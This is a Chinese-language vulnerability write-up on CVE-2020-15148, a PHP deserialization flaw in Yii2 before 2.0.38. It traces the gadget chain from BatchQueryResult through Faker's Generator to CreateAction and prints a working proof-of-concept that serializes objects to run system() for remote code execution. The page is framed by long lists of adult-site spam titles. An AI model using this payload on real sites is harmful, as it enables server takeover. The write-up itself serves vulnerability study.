成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

CVE-2020-15148漏洞分析

瀏覽:277日期:2022-06-06 15:10:12
目錄
  • 基礎知識
    • Yii2
    • 魔術方法
  • 漏洞分析
    • 結語

      基礎知識

      在學習該漏洞之前我們需要學習一下前置知識來更好的理解該漏洞的產生原因以及如何利用。 我們先來學習一下框架的基本信息以及反序列化漏洞的基本利用過程。

      Yii2

      Yii是一個基于組件的高性能PHP框架,用于開發大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調用unserialize時,攻擊者可通過構造特定的惡意請求執行任意命令,這也是常見的反序列化漏洞的利用過程。

      魔術方法

      提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執行,舉個例子:

      __construct() //新建對象時調用

      我們編寫下面的代碼:

      當我們執行時new了一個類,這就會調用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:

      了解完以上知識點后我們開始對該漏洞進行分析。

      漏洞分析

      首先我們要搭建環境,最好搭建在本地方便調試,源碼地址如下:

      搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調用:

      __destruct()調用了reset()方法,方法里面的$this->_dataReader是可控的:

      public function reset(){if ($this->_dataReader !== null) {    $this->_dataReader->close();}

      于是思考接下來要如何利用,根據POC的構造,假設我們將_dataReader變成類然后去調用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調用了foemat方法:

      public function format($formatter, $arguments = array())    {return call_user_func_array($this->getFormatter($formatter), $arguments);    }

      跟進這里:

      $this->getFormatter($formatter)

      看到存在可控參數:

      public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {     return $this->formatters[$formatter];}foreach ($this->providers as $provider) {    if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];    }}

      this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發現值為:

      $formatter="close",$arguments=空

      即返回的第一個參數是可控的,我們便可以調用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

       public function run()    {if ($this->checkAccess) {    call_user_func($this->checkAccess, $this->id);}

      this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執行RCE。利用鏈如下:

      yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

      這里貼一個大佬們的POC:

      <?phpnamespace yiirest{    class CreateAction{public $checkAccess;public $id;public function __construct(){    $this->checkAccess = "system";    $this->id = "phpinfo();";}    }}namespace Faker{    use yiirestCreateAction;    class Generator{protected $formatters;public function __construct(){    $this->formatters["close"] = [new CreateAction, "run"];}    }}namespace yiidb{    use FakerGenerator;    class BatchQueryResult{private $_dataReader;public function __construct(){    $this->_dataReader = new Generator;}    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

      下面是傳入構造好的payload對網站進行請求的結果,可以看到成功進行了命令執行。

      結語

      今天給大家帶來的是CVE-2020-15148漏洞的簡單分析,整體看下來還是很簡單的,我們需要注意如何調用的魔術方法以及如何進行RCE,有興趣的小伙伴可以自己去搭建環境進行測試,喜歡本文的朋友希望可以一鍵三連支持一下。

      以上就是CVE-2020-15148漏洞分析的詳細內容,更多關于CVE-2020-15148漏洞的資料請關注其它相關文章!

      標簽: PHP
      成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
      国产精品每日更新在线播放网址| 五月天久久比比资源色| 亚洲大片一区二区三区| 亚洲国产精品一区| 国产精品福利一区二区| 欧美日韩亚洲一区二区三区在线观看 | 1000精品久久久久久久久| 91在线观看成人| 2021国产精品久久精品| 成人午夜电影网站| 欧美一区二区三区影视| 国产成人一级电影| 欧美一区二区三区的| 国产福利精品导航| 欧美一区永久视频免费观看| 国产一区二区成人久久免费影院| 欧美三级电影在线观看| 久久精品99久久久| 欧美视频三区在线播放| 麻豆91精品91久久久的内涵| 欧美在线制服丝袜| 久久国产精品一区二区| 欧美日韩在线观看一区二区 | 亚洲欧洲精品一区| 亚洲精品免费一二三区| 国产精品乱子乱xxxx| 亚洲国产wwwccc36天堂| 午夜在线播放视频欧美| 日韩高清电影一区| 欧美精品一卡二卡| voyeur盗摄精品| 中文在线免费一区三区高中清不卡 | 久久99国产精品久久99果冻传媒| 色系网站成人免费| 精品亚洲porn| 欧美精品777| 成人黄色软件下载| 国产精品女同互慰在线看| 一二三区精品| 视频一区国产视频| 欧美日韩精品一区二区三区蜜桃| 国产精品中文欧美| 久久久久久一二三区| 国产精品成人观看视频免费| 亚洲午夜一二三区视频| 在线观看国产一区二区| 国产99久久久久久免费看农村| 久久久影视传媒| 亚洲高清免费| 日本在线观看不卡视频| 欧美一级理论性理论a| 99精品在线免费| 亚洲天堂免费在线观看视频| 老鸭窝毛片一区二区三区 | 2023国产精华国产精品| 韩国一区二区三区美女美女秀| 夜夜夜精品看看| 欧美日韩一区久久| 91碰在线视频| 一区二区三区产品免费精品久久75| 日本二三区不卡| 国产69精品久久777的优势| 国产精品日韩成人| 久久影院亚洲| 国产精品亚洲第一| 国产精品三级电影| 久久久久久一区二区| 国产精品一区二区男女羞羞无遮挡| 久久精品欧美一区二区三区麻豆| 亚洲久久视频| 久久超碰97中文字幕| 国产亚洲美州欧州综合国| 国产日韩欧美一区二区三区四区| 美国一区二区三区在线播放| www国产精品av| 国产精品乱码| 国产高清在线精品| 国产精品理论片| 色婷婷狠狠综合| 99r国产精品| 午夜精品免费在线观看| 精品久久久久一区| 亚洲一区二区三区四区中文| 国产高清在线观看免费不卡| 亚洲青青青在线视频| 欧美日韩亚洲高清一区二区| 欧美jizzhd精品欧美巨大免费| 午夜久久福利影院| www久久精品| 久久亚洲视频| 99精品欧美一区二区三区综合在线| 亚洲小少妇裸体bbw| 日韩精品中文字幕一区| 亚洲欧洲一区| 国产精品综合网| **性色生活片久久毛片| 欧美亚洲日本一区| 欧美性事免费在线观看| 粉嫩av亚洲一区二区图片| 一区二区三区成人| 精品国产乱码久久久久久图片 | 亚洲综合色丁香婷婷六月图片| 欧美一级欧美一级在线播放| 中文网丁香综合网| 国产高清久久久| 亚洲第一综合色| 国产欧美日韩麻豆91| 欧洲日韩一区二区三区| 亚洲五月婷婷| 成人丝袜高跟foot| 午夜精品免费在线观看| 中文一区一区三区高中清不卡| 欧美日韩一区二区欧美激情| 国外成人免费视频| 国产精品一级片在线观看| 亚洲在线观看免费| 久久久国产午夜精品| 欧美日韩国产美| 国产精品一区在线观看| 91丨porny丨国产| 麻豆一区二区99久久久久| 成人欧美一区二区三区白人| 日韩欧美成人一区| 91黄色在线观看| 99国产精品自拍| 欧美成人首页| 从欧美一区二区三区| 久久精品国产免费看久久精品| 亚洲视频在线一区观看| 日韩欧美第一区| 欧美日韩国产经典色站一区二区三区| 国产精品免费一区二区三区在线观看| 97久久人人超碰| 韩国午夜理伦三级不卡影院| 亚洲午夜激情网页| 中文字幕中文字幕一区| 精品国内二区三区| 欧美一区二区视频在线观看2022| 玖玖精品视频| 亚洲一区区二区| 日韩视频不卡| 精品9999| 91麻豆免费观看| 成人小视频在线| 日韩一本二本av| 欧美精品在线一区二区三区| 色婷婷久久久综合中文字幕| 一区二区冒白浆视频| 国产在线观看一区| 欧美一区激情| 不卡大黄网站免费看| 久久9热精品视频| 三级不卡在线观看| 亚洲一区电影777| 亚洲精品自拍动漫在线| 国产精品女同一区二区三区| 久久久亚洲精品石原莉奈| 日韩亚洲欧美成人一区| 欧美日韩的一区二区| 色婷婷精品大在线视频| 久久久蜜桃一区二区人| 美女黄色成人网| 国产精品推荐精品| 亚洲国内精品| 激情成人亚洲| 亚洲高清激情| 在线观看成人一级片| 合欧美一区二区三区| 午夜精品剧场| 好吊色欧美一区二区三区四区| 午夜欧美精品| 欧美一区亚洲二区| 91在线精品秘密一区二区| 成人激情小说网站| av影院午夜一区| 99久久亚洲一区二区三区青草| 成人国产视频在线观看| 成人午夜视频福利| aaa欧美日韩| 欧美一区免费视频| 午夜精品久久| 亚洲无线视频| 亚洲免费不卡| 香蕉久久夜色| 在线免费观看视频一区| 欧美日韩一区在线| 欧美一级生活片| 久久久精品人体av艺术| 国产精品国产三级国产专播品爱网| 中文字幕第一页久久| 亚洲欧洲av色图| 一区二区三区蜜桃| 一区二区欧美国产| 亚洲一区二区三区美女| 午夜视频在线观看一区| 久久精品国产一区二区三 | 久久久综合视频| 国产精品久久久久久久第一福利| 亚洲人成在线播放网站岛国| 夜夜爽夜夜爽精品视频|